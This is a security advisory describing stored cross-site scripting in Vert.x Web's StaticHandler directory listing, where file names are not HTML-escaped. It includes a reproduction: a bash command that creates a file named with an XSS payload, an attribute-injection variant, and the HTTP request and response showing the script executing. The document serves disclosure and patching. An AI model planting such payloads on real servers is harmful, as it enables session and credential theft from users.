Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Scores
Description
# Description
- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.
- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`
- Lines:
- 709–713: `normalizedDir` is constructed without escaping
- 714–731: `<li><a ...>` elements insert file names directly into attributes and body without escaping
- 744: parent directory name construction
- 746–751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping
# Reproduction Steps
1. Prerequisites:
- Directory listing is enabled using `StaticHandler`
(e.g., `StaticHandler.create("public").setDirectoryListing(true)`)
- The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
2. Create a malicious file name (example for Unix-based OS):
- Create an empty file in `public/` with one of the following names:
- `<img src=x onerror=alert('XSS')>.txt`
- Or attribute injection: `evil" onmouseover="alert('XSS')".txt`
- Example:
```bash
mkdir -p public
printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
```
3. Start the server (example):
- Routing: `router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));`
- Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`
4. Verification request (raw HTTP):
```
GET /public/ HTTP/1.1
Host: 127.0.0.1:8890
Accept: text/html
Connection: close
```
5. Example response excerpt:
```html
<ul id="files">
<li>
<a href="/public/<img src=x onerror=alert('XSS')>.txt"
title="<img src=x onerror=alert('XSS')>.txt">
<img src=x onerror=alert('XSS')>.txt
</a>
</li>
...
</ul>
```
- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.
# Potential Impact
- **Stored XSS**
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
- **Common Conditions That Make Exploitation Easier**
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments
# Similar CVEs Previously Reported
- CVE‑2024‑32966
- CVE‑2019‑15603
Same vulnerability as